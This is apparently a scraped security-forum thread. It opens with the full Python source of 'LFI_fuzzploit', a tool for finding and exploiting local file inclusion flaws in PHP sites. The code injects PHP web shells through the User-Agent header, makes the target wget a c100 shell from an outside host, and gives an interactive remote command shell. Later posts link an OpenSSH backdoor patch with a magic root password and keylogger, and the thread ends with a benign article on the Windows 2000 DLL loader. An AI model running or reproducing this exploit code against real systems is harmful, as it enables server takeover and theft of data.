"etc/skel/.config/user-dirs.dirs","etc/avahi/avahi-daemon.conf","etc/dhcp3/dhcpd.conf","etc/dhcp3/dhclient.conf","etc/splashy/config.xml","etc/reader.conf.old", "etc/defoma/config","etc/defoma/config/x-ttcidfont-conf.conf2","etc/wicd/manager-settings.conf","etc/wicd/wireless-settings.conf","etc/wicd/dhclient.conf.template.default", "etc/wicd/wired-settings.conf","etc/sysctl.d/wine.sysctl.conf","etc/sysctl.d/10-network-security.conf","etc/sysctl.d/10-console-messages.conf","etc/kbd/config", "etc/sysctl.d/10-process-security.conf","etc/w3m/config","etc/reader.conf.d","etc/reader.conf.d/libccidtwin","etc/reader.conf.d/0comments","etc/reader.conf", "etc/kbd/config","etc/dbus-1/session.conf","etc/dbus-1/system.conf","etc/etter.conf","etc/pm/config.d","etc/pm/config.d/00sleep_module","etc/depmod.d/ubuntu.conf", "etc/unicornscan/payloads.conf","etc/unicornscan/unicorn.conf","etc/unicornscan/modules.conf","etc/console-tools/config.d","etc/console-tools/config.d/splashy", "etc/tpvmlp.conf","etc/mtools.conf","etc/kernel-img.conf","etc/ca-certificates.conf.dpkg-old","etc/ld.so.conf","etc/conky/conky.conf","etc/ucf.conf","etc/rinetd.conf", "etc/e2fsck.conf","etc/gdm/failsafeDexconf","etc/foomatic/filter.conf","etc/manpath.config","etc/esound/esd.conf","etc/tsocks.conf","etc/stunnel/stunnel.conf", "etc/fuse.conf","etc/uniconf.conf","etc/syslog.conf","etc/cvs-cron.conf","etc/snmp/snmpd.conf","share/snmp/snmpd.conf","/etc/apache2/envvars","config.php"] fd_lfis=["proc/self/fd/0","proc/self/fd/1","proc/self/fd/2","proc/self/fd/3","proc/self/fd/4","proc/self/fd/5","proc/self/fd/6","proc/self/fd/7","proc/self/fd/8", "proc/self/fd/9","proc/self/fd/10","/proc/self/fd/11","/proc/self/fd/12","/proc/self/fd/13","/proc/self/fd/14","/proc/self/fd/15"] step = "../../../../../../../../" evasion = "%00.php" evasion1 = "%00.php.inc" evasion2 = "%00.php5" evasion3 = "%00.phtml" nullbyte ="%00" htmlfile = "lfi_fuzz.html" htmlfile2 = "lfi_fuzz-01.html" htmlfile3 = "lfi_fuzz-02.html" scan_options = ("1)Fuzz for LFI and Directory Transveral?","2)Traditional Local File Inclusion scan and dump?","3)File Descriptor LFI scan?", "4)Exploit LFI via /proc/self/environ","5)Exploit LFI via File descriptor?","6)Include known apache logs","7)Exploit LFI via Logfile?", "8)Use LFI_Sploit\'s LFI command shell","9)Use php:// to read file streams?(allow_url_include must be on)","10)Custom step?(../../)","11)Help?", "12)Exit Prog?") for scan in scan_options: print(scan) option = str(raw_input("Please pick an option(1-12):")) ###########################################################################Start the scan########################################################################## if option == "1": url = str(raw_input("Site and uri to Fuzz: ")) if url[:7] != "http://": url = "http://"+url else: url = url try: cleanup(htmlfile) cleanup(htmlfile2) cleanup(htmlfile3) print "Old files removed, ready to start a new scan" except: print "Ready to start a new scan.." nullorno = str(raw_input("Fuzz with nullbyte and other evasion techniques?(y or n):")) nullorno = nullorno.lower() if nullorno == 'y': for fuzz in fuzzer: myurl = url + fuzz + nullbyte print("Attempting to include: %s" %(myurl)) try: scanner(myurl,url,htmlfile) except IOError as e: print("Error codes: %s" %(e)) except KeyboardInterrupt: print("Bye :)") sys.exit(1) for fuzz in fuzzer: myurl = url + fuzz + evasion print("Attempting to include: %s" %(myurl)) try: scanner(myurl,url,htmlfile) except IOError as e: print "Error codes: %s" %(e) except KeyboardInterrupt: print "Bye :)" sys.exit(1) for fuzz in fuzzer: myurl = url + fuzz + evasion1 print("Attempting to include: %s" %(myurl)) try: scanner(myurl,url,htmlfile) except IOError as e: print("Error codes: %s" %(e)) except KeyboardInterrupt: print("Bye :)") sys.exit(1) for fuzz in fuzzer: myurl = url + fuzz + evasion2 print("Attempting to include: %s" %(myurl)) try: scanner(myurl,url,htmlfile2) except IOError as e: print("Error codes: %s" %(e)) except KeyboardInterrupt: print("Bye :)") sys.exit(1) for fuzz in fuzzer: myurl = url + fuzz + evasion3 print("Attempting to include: %s" %(myurl)) try: scanner(myurl,url,htmlfile3) except IOError as e: print("Error codes: %s" %(e)) except KeyboardInterrupt: print("Bye :)") sys.exit(1) elif nullorno == 'n': for fuzz in fuzzer: myurl = url + fuzz print("Attempting to include: %s" %(myurl)) try: scanner(myurl,url,htmlfile) except IOError as e: print "Error: %s" %(e) except KeyboardInterrupt: print "Bye :)" sys.exit(1) elif option == "2": htmlfile = "LFI_report.html" url = str(raw_input("Site and uri to attack?: ")) if url[:7] != "http://": url = "http://"+url else: url = url print "cleaning up old files before starting a scan" try: cleanup(htmlfile) print "Old files removed, ready to start a new scan" except: print "Ready to start a new scan.." nullorno = str(raw_input("Use a nullbyte(y or n):")) nullorno = nullorno.lower() if nullorno == 'n': for lfi in lfi_load: myurl = url + step + lfi print("Attempting to include: %s" %(myurl)) try: scanner(myurl,url,htmlfile) except IOError as e: print("Error Codes including files: %s" %(e)) except KeyboardInterrupt: print("Bye :)") sys.exit(1) elif nullorno == 'y': for lfi in lfi_load: myurl = url + step + lfi + nullbyte print("Scanning %s" %(myurl)) try: scanner(myurl,url,htmlfile) except IOError as e: print("Error codes: %s" %(e)) except KeyboardInterrupt: print("Bye :)") sys.exit(1) elif option == "3": htmlfile = "LFI_FD_report.html" htmlfile2 = "LFI_FD_report1.html" htmlfile3 = "LFI_FD_report2.html" url = str(raw_input("Site and uri to attack?: ")) if url[:7] != "http://": url = "http://"+url else: url = url print "cleaning up old files before starting to scan" try: cleanup(htmlfile) print("Old files removed, ready to start a new scan") except: print("Ready to start a new scan..") nullorno = str(raw_input("Use a nullbyte(y or n):")) nullorno = nullorno.lower() if nullorno == 'n': for fd in fd_lfis: myurl = url + step + fd print("Attempting to include file descriptor and url: %s" %(myurl)) try: scanner(myurl,url,htmlfile) except IOError as e: print("Error codes: %s" %(e)) except KeyboardInterrupt: print("Bye :)") sys.exit(1) elif nullorno == 'y': for fd in fd_lfis: myurl = url + step + fd print("Scanning %s" %(myurl)) try: scanner(myurl,url,htmlfile) except IOError as e: print("Error code: %s" %(e)) except KeyboardInterrupt: print("Bye :)") sys.exit(1) elif option == "4": url = str(raw_input("Site and uri to exploit(/proc/self/environ must be viewable and magic_quotes=off)?: ")) if url[:7] != "http://": url = "http://"+url else: url = url print "cleaning up old files before starting a scan" try: cleanup(htmlfile) print("Old files removed, ready to start a new scan") except: print("Ready to start a new scan..") nullorno = str(raw_input("Use a nullbyte(y or n):")) nullorno = nullorno.lower() if nullorno == 'n': environ = "../../../../../../../../../proc/self/environ" myurl = url + environ print("Injecting code into /proc/self/environ using site: %s" %(myurl)) try: exploit_environ(myurl) except IOError as e: print("Error: %s" %(e)) except KeyboardInterrupt: print("Bye :)") sys.exit(1) elif nullorno == 'y': environ = "../../../../../../../../proc/self/environ" myurl = url + environ + nullbyte print("Injecting code into /proc/self/environ on url: %s" %(myurl)) try: exploit_environ(myurl) except IOError as e: print("Error codes connecting to server: %s" %(e)) except KeyboardInterrupt: print("Bye :)") sys.exit(1) elif option == "5": url = str(raw_input("Site and uri to attack?: ")) if url[:7] != "http://": url = "http://"+url else: url = url fds = {"1": "../../../../../../../proc/self/fd/1","2":"../../../../../../../proc/self/fd/2", "3":"../../../../../../../proc/self/fd/3","4":"../../../../../../../proc/self/fd/4", "5":"../../../../../../../proc/self/fd/5","6":"../../../../../../../proc/self/fd/6", "7":"../../../../../../../proc/self/fd/7","8":"../../../../../../../proc/self/fd/8", "9":"../../../../../../../proc/self/fd/9","10":"../../../../../../../proc/self/fd/10", "11":"../../../../../../../proc/self/fd/11","12":"../../../../../../proc/self/fd/12"} fd = str(raw_input("File descriptor number to log for shell include?:(ie 1-12)")) print("cleaning up old files before starting a scan") try: cleanup(htmlfile) print("Old files removed, ready to start a new scan") except: print("Ready to start a new scan..") nullorno = str(raw_input("Use a nullbyte(y or n):")) nullorno = nullorno.lower() if nullorno == 'n': myurl = url + fds[fd] print("Injecting code into file descriptor: %s" %(myurl)) try: exploit_lfi(myurl) except IOError as e: print("Error codes connecting to server: %s" %(e)) except KeyboardInterrupt: print("Bye :)") sys.exit(1) elif nullorno == 'y': myurl = url + fds[fd] + nullbyte print("Injecting code into file descriptor: %s" %(myurl)) try: exploit_lfi(myurl) except IOError as e: print("Error: %s" %(e)) except KeyboardInterrupt: print("Bye :)") sys.exit(1) else: option_error() elif option == "6": url = str(raw_input("Site and uri to attack?: ")) if url[:7] != "http://": url = "http://"+url else: url = url print("Cleaning up old html files") try: cleanup(htmlfile) print("Old files removed, ready to start a new scan") except: print("Ready to start a new scan..") nullorno = str(raw_input("Use a nullbyte(y or n):")) nullorno = nullorno.lower() if nullorno == 'n': for log in logs: myurl = url + step + log print("Attempting to include: %s" %(myurl)) try: scanner(myurl,url,htmlfile) except IOError as e: print("Error: %s" %(e)) except KeyboardInterrupt: print("Bye :)") sys.exit(1) elif nullorno == 'y': for log in logs: myurl = url + step + log print("Attempting to include: %s" %(myurl)) try: scanner(myurl,url,htmlfile) except IOError as e: print("Error: %s" %(e)) except KeyboardInterrupt: print("Bye :)") sys.exit(1) else: option_error() sys.exit(1) elif option == "7": print("\n\n1)Inject code in a specific Log?") print("2)Include all logs and inject code(a LFI hail mary(very noisy!))?: ") what_to_do = str(raw_input("Option:")) if what_to_do == "1": url = str(raw_input("Site were working with: ")) if url[:7] != "http://": url = "http://"+url else: url = url logfile = str(raw_input("Logfile to inject code into?: ")) null = str(raw_input("Add a nullbyte(y or n):" )) if null == "n": myurl = url + step + logfile print("Attempting to inject code into logfile: %s" %(logfile) ) try: exploit_lfi(myurl) except IOError as e: print("Error injecting code into %s\n ERROR: %s" %(logfile, e)) except KeyboardInterrupt: print("Bye :)") sys.exit(1) elif null == "y": myurl = url + step + logfile + null print("Attempting to inject code into logfile: %s" %(logfile) ) try: exploit_lfi(myurl) except IOError as e: print("Error injecting code into %s\n ERROR: %s" %(logfile, e)) except KeyboardInterrupt: print("Bye :)") sys.exit(1) else: option_error() sys.exit(1) if what_to_do == "2": warn = str(raw_input("Warning: This is a noisy scan that makes alot of requests,exit?(y or n)")) if warn == "y": sys.exit(1) elif warn == "n": url = str(raw_input("Site were working with: ")) if url[:7] != "http://": url = "http://"+url else: url = url null = str(raw_input("Add a nullbyte(y or n):" )) if null == "n": for log in logs: myurl = url + step + log print("Attempting to inject code into logfile: %s" %(log)) try: exploit_lfi(myurl) except IOError as e: print("Error injecting code into %s\n ERROR: %s" %(log, e)) except KeyboardInterrupt: print("Bye :)") sys.exit(1) else: pass elif option == "8": os.system('clear') print("+==+==+==+==+==+[+]OS Environ/FD/Logfile Shell environment[+]==+==+==+==+==+\n\n") url = str(raw_input("Fully Exploited url?: ")) if url[:7] != "http://": url = "http://"+url else: url = url while 1: try: command_shell(url) except IOError as e: print("Error executing command. Code: %s" %(e)) except KeyboardInterrupt: print("Bye :)") sys.exit(1) elif option == "9": b64file = "b64_encoded_stream.txt" print "Warning: allow_url_include must be enabled for this attack to succeed!" url = str(raw_input("Url to exploit?: ")) if url[:7] != "http://": url = "http://"+url else: url = url read = str(raw_input("PHP File to attempt to read or include(ie config.php)")) sploit = "php://filter/convert.base64-encode/resource=" myurl = url + sploit + read try: req = urllib2.Request(myurl) req.add_header('UserAgent: ','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)') req.add_header('Keep-Alive: ','115') req.add_header('Referer: ','http://'+url) response = urllib2.urlopen(req, timeout=10) pointer = response with open(htmlfile , 'a') as PHPOBJ: PHPOBJ.writelines("<b>PHPStream url: %s</b>" %(myurl)) PHPOBJ.writelines(pointer) if PHPOBJ.writelines(pointer): B64.b64decode(pointer) print("Decoded Base 64 streams have been written to %s" %(b64file)) else: pass except IOError as e: print("Error codes: %s" %(e)) except KeyboardInterrupt: print("Bye :)") sys.exit(1) elif option == "10": htmlfile = "LFI_fuzz_custom.html" url = str(raw_input("Site to scan: ")) if url[:7] != "http://": url = "http://"+url else: url = url print("Cleaning up old html files") try: cleanup(htmlfile) print("Old files removed, ready to start a new scan") except: print("Ready to start a new scan..") step = str(raw_input("Custom step to dump application data?(Step meaning ../ ..\ ..// : ")) nullorno = str(raw_input("Scan with nullbyte(y or n):")) nullorno = nullorno.lower() if nullorno == 'y': for fuzz in fuzzer: myurl = url + fuzz + nullbyte print("Attempting to include: %s" %(myurl)) try: scanner(myurl,url,htmlfile) except IOError as e: print("Error codes: %s" %(e)) except KeyboardInterrupt: print("Bye :)") sys.exit(1) elif nullorno == 'n': for lfi in lfi_load: myurl = url + step + lfi print("Attempting to include: %s" %(myurl)) try: scanner(myurl,url,htmlfile) except IOError as e: print("Error codes: %s" %(e)) except KeyboardInterrupt: print("Bye :)") sys.exit(1) else: pass elif option == "11": banner() info() elif option == "12": print("Bye \nCome back and see me anytime :)") sys.exit(0) else: try: main() except IndexError: print("Random text for error handling") except KeyboardInterrupt: print("Bye ") #############################################################Functions start here##################################################################### def scanner(url, base, outfile): req = urllib2.Request(url) req.add_header('UserAgent: ','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)') req.add_header('Keep-Alive: ','115') req.add_header('Referer: ','http://'+base) response = urllib2.urlopen(req, timeout=10) html = response with open(outfile , 'a') as h1OBJ: h1OBJ.writelines("<b>Query Used: %s</b>" %(url)) h1OBJ.writelines(html) if h1OBJ.writelines(html): print("Html pages and responses have been written to %s" %(outfile)) else: pass def cleanup(file): print("Clearing old files before starting a new scan") os.remove(file) def option_error(): print("\t\t\t[--]Option error![--]\n\n\t\t[+]Please choose an offered option or exit![+]") usage() def banner(): if sys.platform == "linux" or sys.platform == "linux2": os.system('clear') else: os.system('cls') print("+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+===+") print("+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+===+") print("+==+==+==+==+==+ LFI Fuzzer/Exploiter/Log Includer/Shell +==+==+==+==+==+==+==+") print("+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+===+") print("+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+===+") print("codes by nullbyt3") def exploit_lfi(url): req = urllib2.Request(url) req.add_header('UserAgent: ','<?php system($_REQUEST["cmd"]);?>') req.add_header('Keep-Alive: ','115') req.add_header('Referer: ','http://'+url) response = urllib2.urlopen(req, timeout=10) req = urllib2.Request(url) req.add_header('UserAgent: ','<?php shell_exec($_REQUEST["cmd"]);?>') req.add_header('Keep-Alive: ','115') req.add_header('Referer: ','http://'+url) response = urllib2.urlopen(req, timeout=10) req = urllib2.Request(url) req.add_header('UserAgent: ','<?php eval($_REQUEST["cmd"]);?>') req.add_header('Keep-Alive: ','115') req.add_header('Referer: ','http://'+url) response = urllib2.urlopen(req, timeout=10) req = urllib2.Request(url) req.add_header('UserAgent: ','<?php exec($_REQUEST["cmd"]);?>') req.add_header('Keep-Alive: ','115') req.add_header('Referer: ','http://'+url) response = urllib2.urlopen(req, timeout=10) req = urllib2.Request(url) req.add_header('UserAgent: ','<?php passthru($_REQUEST["cmd"]);?>') req.add_header('Keep-Alive: ','115') req.add_header('Referer: ','http://'+url) response = urllib2.urlopen(req, timeout=10) print("Code has been injected in a total of 5 requests!\nIf all went well you may have a shell waiting for you here:\n\n%s&&cmd={INJECT CODE HERE}" %(url)) def command_shell(site): end = "&&cmd=" cmd = str(raw_input("shell~$: ")) if cmd: try: mycmd = site + end + cmd print("injecting %s" %(cmd)) req = urllib2.Request(mycmd) response = urllib2.urlopen(req, timeout=10) print("Command response: %s" %(response)) except IOError as e: print("Error: %s" %(e)) except KeyboardInterrupt: print("Bye :)") sys.exit(1) else: print("Error executing command. Check for the shell manually") def exploit_environ(url): req = urllib2.Request(url) req.add_header("UserAgent: ","<? system('wget http://www.xfocus.net.ru/soft/c100.txt -O lol.php')?>)") req.add_header('Keep-Alive: ','115') req.add_header('Referer: ','http://'+url) response = urllib2.urlopen(req, timeout=10) req = urllib2.Request(url) req.add_header("UserAgent: ","<?php shell_exec('wget http://www.xfocus.net.ru/soft/c100.txt -O lol.php');?>") req.add_header('Keep-Alive: ','115') req.add_header('Referer: ','http://'+url) response = urllib2.urlopen(req, timeout=10) req = urllib2.Request(url) req.add_header("UserAgent: ","<?php eval('wget http://www.xfocus.net.ru/soft/c100.txt -O lol.php');?>") req.add_header('Keep-Alive: ','115') req.add_header('Referer: ','http://'+url) response = urllib2.urlopen(req, timeout=10) req = urllib2.Request(url) req.add_header("UserAgent: ","<?php exec('wget http://www.xfocus.net.ru/soft/c100.txt -O lol.php');?>") req.add_header('Keep-Alive: ','115') req.add_header('Referer: ','http://'+url) response = urllib2.urlopen(req, timeout=10) req = urllib2.Request(url) req.add_header("UserAgent: ","<?php passthru('wget http://www.xfocus.net.ru/soft/c100.txt -O lol.php');?>") req.add_header('Keep-Alive: ','115') req.add_header('Referer: ','http://'+url) response = urllib2.urlopen(req, timeout=10) print("Done in 5 requests.\n\nIf all went well c100 shell should be available in root folder named lol.php: %s/lol.php" %(url)) def info(): print("""\n\n\tLFI_Sploiter is a simple tool to help in the fuzzing for, finding,and exploiting local file inclusions in Linux based PHP applications. Using special encoding and fuzzing techniques lfi_sploiter will scan for some known and some not so known LFI filter bypasses and exploits using some advanced encoding/bypass methods to try to bypass security and achieve its goal which is ultimately, exploiting a Local file inclusion.\n\n In adittion to LFI_Sploiter\'s fuzzing and encoding techniques it also has built in methods for LFI exploitation including /proc/self/environ shell exploit, File descriptor shell and LFI shell via log injection. LFI_Sploiter injects code using different command injection functions in the event that certain functions are disabled\n\n All codes written by nullbyt3 of securityoverride.com or 206.214.216.120/news.php. Report all bugs to nullbyt3@safe-mail.net Respect to TurboBorland, PublicEnemy, CrashOverron, bluechill, Teddy and many more from securityoverride who help me to stay in the game and keep spitting out code\n\n""") def usage(): print("==+==+==+==+==+==+==+==+==+==+==+=USAGE HERE=+==+==+==+==+==+==+==+==+==+==+==+") print("\t\t\troot@h@x0r~$%s " %(sys.argv[0])) print("==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+==+===+") print("Directions: To simply run the scan and follow the prompts ") if __name__ == '__main__': if sys.platform == "linux" or sys.platform == "linux2": os.system('clear') else: os.system('cls') sys.exit(main()) Download: http://packetstormsecurity.org/files/download/106912/LFI_fuzzploit-1.1.tar.gz Sursa: Comments ? Packet Storm
  15. OpenSSH 5.5p1 Backdoor Authored by IPSECS This is a patch for OpenSSH version 5.5p1 that adds a magic root password backdoor that also keylogs. Download: http://packetstormsecurity.org/files/download/106930/openssh-5.5p1.patch.tar.gz Sursa: OpenSSH 5.5p1 Backdoor ? Packet Storm
  16. ClubHACK Magazine Issue 22 Authored by clubhack | Site chmag.in ClubHACK Magazine Issue 22 - Topics covered include OWASP Mantra's MoC Crawler, Law relating to Cyberterrorism, Best Practices of Web Application Security, and more. Download: http://packetstormsecurity.org/files/download/106934/clubhack-magazine-nov2012.pdf
  17. Toate videocpliurile aici: http://www.derbycon.com/videos-2011/ Multe suna bine.
  18. Windows 2000: Solving the Mysteries of the Loader Russ Osterlund This article assumes you're familiar with Win32 APIs and C++ SUMMARY DLLs are a cornerstone of the Windows operating system. Every day they quietly perform their magic, while programmers take them for granted. But for anyone who's ever stopped to think about how the DLLs on their system are loaded by the operating system, the whole process can seem like a great mystery. This article explores DLL loading and exposes what really goes on inside the Windows 2000 loader. Knowing how DLLs are loaded and where, and how the loader keeps track of them really comes in handy when debugging your applications. Here that process is explained in detail. Ever since I first encountered a definition of dynamic link libraries in a description of the then-new operating system OS/2, the idea of DLLs has always fascinated me. This beautifully simple concept of modules that could be loaded and unloaded as needed with well-defined interfaces that outlined routines written beforehand and, perhaps by other programmers, was a powerful jolt to me because I was more accustomed to statically linked code in mainframe or MS-DOS programs. And, like many others new to programming for Windows, the first utility I built enumerated DLLs that were already loaded into the system in order to demonstrate this concept at work. Now, even with the Windows world changing at a frenetic pace, employing COM interfaces and their ActiveX components, and moving toward common language runtimes with their assemblies of managed code, the humble DLL remains at the center of things, providing services to the system on an as-needed basis. During this long association with DLLs, I accepted their loading by the operating system as if it were magic and never truly appreciated the amount of work required by LoadLibrary and its variations. This article is an attempt to rectify that oversight by looking inside NTDLL.DLL. Since I do not have access to the source files, much of what I discuss here falls under that nebulous category of undocumented information and is therefore subject to change or obsolescence in future releases of the operating system. The details that I'll cover are based on an examination of the binaries available when I wrote this article, Windows 2000 Professional (Build 2195: Service Pack 1). Access to a properly installed set of debug symbol files, .DBG and .PDB dated July 9, 2000, and working with a suitable debugger will make the information easier to understand. This article can be seen as a precursor to Matt Pietrek's Under The Hood column in the September 1999 issue of MSJ, where Matt writes pseudocode for the operation of LdrpRunInitializeRoutines for Windows NT 4.0 SP3 and describes how a library is initialized and when DllMain gets called. Note that I will refer to this column frequently. My discussion will begin with a brief look at LoadLibrary, starting with LdrLoadDll, and will conclude when LdrpRunInitializeRoutines is invoked. While trying to follow the execution path needed to load a simple DLL using a debugger, you can easily become confused by the numerous unconditional jump statements and lost in the recursion common in the later stages of DLL loading, so I'll guide you carefully through the call to LoadLibrary. Note that all code modules mentioned in this article can be found at the link at the top of this article. All Paths Lead to LoadLibraryExW There are several ways to get to LoadLibraryExW. For example, LoadTypeLibEx and CoLoadLibrary in the COM universe eventually call LoadLibraryExW. The two most familiar routes to LoadLibraryExW are LoadLibraryA and LoadLibraryW. All you need to do is specify one parameter—the name of the DLL—and you are on your way. But if you examine a disassembly of LoadLibraryA and LoadLibraryW, you will discover that they are merely thin wrappers around the more versatile LoadLibraryExA and LoadLibraryExW APIs, respectively. With LoadLibraryA, there is a curious test for the DLL twain_32.dll, but normally two zeroes are passed as the second and third parameters to LoadLibraryExA before continuing. LoadLibraryW is even more direct; the two zeroes are pushed onto the stack and the code moves directly onto LoadLibraryExW. These paths merge with an examination of LoadLibraryExA. There is a call to a helper routine to convert the DLL's name into a Unicode string before the code proceeds onto LoadLibraryExW. LoadLibraryExW is a fairly involved routine which must decide between at least four different variations on the type of DLL-loading that the program wants to perform. In addition to the first parameter (which contains the name of the DLL), and the second parameter (which must be NULL according to the SDK documentation), there is a flag parameter that specifies the action to take when loading the module. You can ignore the flag value LOAD_LIBRARY_AS_DATAFILE, since it does not lead to the desired goal: LdrLoadDll, an API exported by NTDLL.DLL. The remaining valid values—0, DONT_RESOLVE_DLL_REFERENCES, and LOAD_WITH_ALTERED_SEARCH_PATH—all eventually find their way to LdrLoadDll. It is interesting to note that there is no sanity check for the flag parameter that returns something like STATUS_INVALID_PARAMETER if values other than the documented ones are passed to LoadLibraryExW. For example, plugging in a reasonable value such as 4 results in a normal DLL load. In any case, the alternate paths taken with DONT_RESOLVE_DLL_REFERENCES or LOAD_WITH_ALTERED_SEARCH_PATH will be noted later in this article. For now, I will concentrate on the normal case in which dwFlags has a value of 0. There's one more API exported from NTDLL.DLL that leads to LdrLoadDll, but I have found neither documentation for it nor any references to it in existing DLLs. The name of the API is LoadOle32Export. It accepts two parameters, the image base for Ole32.DLL and the name of the routine to find, and it returns the address to the requested function. Whether this is a mysterious secret path or some kind of holdover from past versions of the operating system is uncertain. APIs Exported by NTDLL.DLL Figure 1 lists the exported APIs in NTDLL.DLL beginning with the prefix "Ldr", and Figure 2 lists the internal routines beginning with "Ldrp". The main difference between the names for the LdrXXX and LdrpXXX routines is that the "p" indicates that these functions are private—hidden from the outside world. As you can see by examining the lists, familiar APIs such as GetProcAddress are wrappers around NTDLL exports like LdrGetProcedureAddress. In fact, many APIs in Kernel32 that are familiar to the SDK programmer, such as GetProcAddress, ExitProcess, ExpandEnvironmentStrings, and CreateSemaphore, pass the real work along to an NTDLL surrogate (LdrGetProcedureAddress, NtTerminateProcess, RtlExpandEnvironmentStrings_U, and NtCreateSemaphore, respectively). Now, let's take a close look at LdrLoadDll using DumpBin or my disassembler, PEBrowse (available from http://www.smidgeonsoft.com). 0X77F889A9 PUSH 0X1 0X77F889AB PUSH DWORD PTR [ESP+0X14] 0X77F889AF PUSH DWORD PTR [ESP+0X14] 0X77F889B3 PUSH DWORD PTR [ESP+0X14] 0X77F889B7 PUSH DWORD PTR [ESP+0X14] 0X77F889BB CALL 0X77F887E0 ; SYM:LdrpLoadDll 0X77F889C0 RET 0X10 Do not be deceived by the apparent simplicity of this routine, which looks like merely a wrapper around the internal procedure, LdrpLoadDll (that I'll discuss in the next section). The first parameter points to a wide-string representation of the search path. The second parameter will hold a DWORD with the value of 2 if DONT_RESOLVE_DLL_REFERENCES was specified in the call to LoadLibraryExW. The third parameter contains a pointer to a Unicode string structure that encases the name of the DLL that is to be loaded. The fourth item is an output parameter and will receive the address at which the module was loaded when LdrpLoadDll has finished its work. But what does the fifth parameter, hardcoded with a value of 1, mean? As you will see later, LdrpLoadDll can be called recursively in LdrpSnapThunk. Here, the value means normal processing, but later you will see that a value of 0 means process forwarded APIs. LdrpLoadDll I have provided a small project in the code download for this article that contains a main executable, ingenuously named Test, and three DLLs: TestDll, Forwarder, and Forwarded. The DLLs demonstrate different variations that illustrate some of the scenarios LdrpLoadDll will commonly encounter. See the Readme.txt file in the code download for important information about setting environment variables and predefined breakpoints. Figure 3 shows some of the internal loader routines you will bump into when you pass one of the documented flags to LoadLibraryExW. If you concentrate for a moment on the typical situation (#1 in Figure 3), you will see that there are six subroutines called directly by LdrpLoadDll: LdrpCheckForLoadedDll, LdrpMapDll, LdrpWalkImportDescriptor, LdrpUpdateLoadCount, LdrpRunInitializeRoutines, and LdrpClearLoadInProgress. (I'll discuss the first four subroutines later in this article.) LdrpRunInitializeRoutines has already been described in Matt Pietrek's column, so I won't go into it here. LdrpClearLoadInProgress is briefly mentioned in that column as well. Let's take a high-level look at the steps taken by LdrpLoadDll, which occur as follows: Check to see if the module is already loaded. Map the module and supporting information into memory. Walk the module's import descriptor table (that is, find out what other modules this one is adding). Update the module's load count as well as any others brought in by this DLL. Initialize the module. Clear some sort of flag, indicating that the load has finished. Looking more closely at the routines listed, you will notice that LdrpCheckForLoadedDll can be and is called from several locations. It is therefore reasonable to assume that this is a helper function. Also, note that LdrpSnapThunk and LdrpUpdateLoadCount, as well as the previously mentioned case for LdrpLoadDll, are all candidates for recursion. The code for LdrpLoadDll.cpp contains pseudocode for the operations found in this and the other loader routines. My pseudocode is not a copy of the actual code for LdrpLoadDll and should not be compiled; it represents intelligent guesswork obtained by studying a disassembly of the routine. It also shows how much information can be brought together about any section of code just by taking the time to study the available binaries. The pseudocode by no means covers every detail. In many cases, the variable names were assigned based on their role in the code. Others were taken from parameter descriptions found in Windows NT/2000 Native API Reference by Gary Nebbett (New Riders Publishing, 2000). Take a look at this book to see what takes place inside NTDLL.DLL. It provides a reference for the Nt/Zw routines—the so-called native APIs—and where possible relates these routines back to their Win32 counterparts. Now I'll describe in some detail what happens when your code loads the typical DLL, then I'll throw in a few options for variety. LdrpLoadDll first sets up a __try/__except block, then checks the flag, LdrpInLdrInit. If the flag is turned on, then it sets up a critical section block to prevent updates in the data structures that it will be referencing and modifying. Next, it checks on the length of the incoming DLL's name against the maximum, 532 bytes or 266-wide characters, which is close to the better-known constant MAX_PATH and its value of 260. If the length of the name exceeds the maximum value, then the routine quits with a return code of STATUS_NAME_TOO_LONG. At this point, LdrpLoadDll attempts to locate the position of the period character (dot) in the module's name. If the dot is missing, then the routine appends the string ".dll" to the end of the module's name, assuming this does not exceed the maximum size. There are two items to note here: first, you do not need to pass the .dll extension in your calls to LoadLibrary, and second, some of the features, such as the API-forwarding discussed later in this article, will not work with any extension other than .dll. (For a preview, try the following: change the output name of the Forwarded project to "Forwarded.cpl" and run the test program, making certain that the GetProcAddress stuff is included. You'll see that the GetProcAddress call fails and the messagebox that should display "Hello World!" will not appear!) The test for ShowSnaps and enabling this handy debugging aide on your system were explained in Matt's column. ShowSnaps occupies the second bit position in the Registry value GlobalFlag, located at HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager. When enabled, this provides feedback in a debugger's output window about actions the loader is taking. If you decide not to enable "snaps" on your system, then the text strings appearing throughout the code will provide useful diagnostic hints. (In the download is an ASCII text file, LdrSnap(Forwarder).TXT, that includes the snap outputs produced by loading the Forwarder test DLL. Later in the article you will find figures showing this information for Forwarded.DLL and TestDll.DLL.) LdrpLoadDll then constructs a Unicode string of the module's name that will be used by the first subroutine, LdrpCheckForLoadedDll. LdrpCheckForLoadedDll The pseudocode for this routine can be found in LdrpCheckForLoadedDll.cpp. You'll see that the code checks all of the possible lists for loaded DLLs and if the initial search fails, the routine tries the alternative. Following all of the paths in this routine is rather complicated, but the essence of this routine is rather simple to understand. There are two places to start a search: an optimization based on a hash table found inside of NTDLL.DLL, and walking the module list maintained inside the process's environment block (PEB). The definition of the module list and its location in memory will follow shortly. LdrpLoadDll, the calling routine, starts the search by setting the UseLdrpHashTable parameter to 0. Later on, I'll show you a similar case in which the parameter is set to 1 and the hash table is used. If the DllName parameter does not contain a path, the comparison using RtlEqualUnicodeString is made on the simple file name entries. There is a small wrinkle in the search option when the hash table is not used, however. If the incoming DllName contains a path, LdrpCheckForLoadedDll calls on RtlDosSearchPath_U to validate the path, then examines the entries in the module list that contain fully qualified file names. In case you were wondering how the Microsoft .NET Common Language Runtime (CLR) supports side-by-side execution of different versions of the same assembly, this information should give you a head start. If the module is found in the PEB list but contains a load count of 0, LdrpCheckForLoadedDll forces the load by issuing a sequence of commands similar to what will be seen in LdrpMapDll. But describing this sequence now would be jumping too far ahead. If the search has succeeded and the loading DLL is already part of the current process, then LdrpLoadDll has a few remaining details to take care of. The loaded count for this image will be incremented if the module is a DLL and if the loaded count field has not 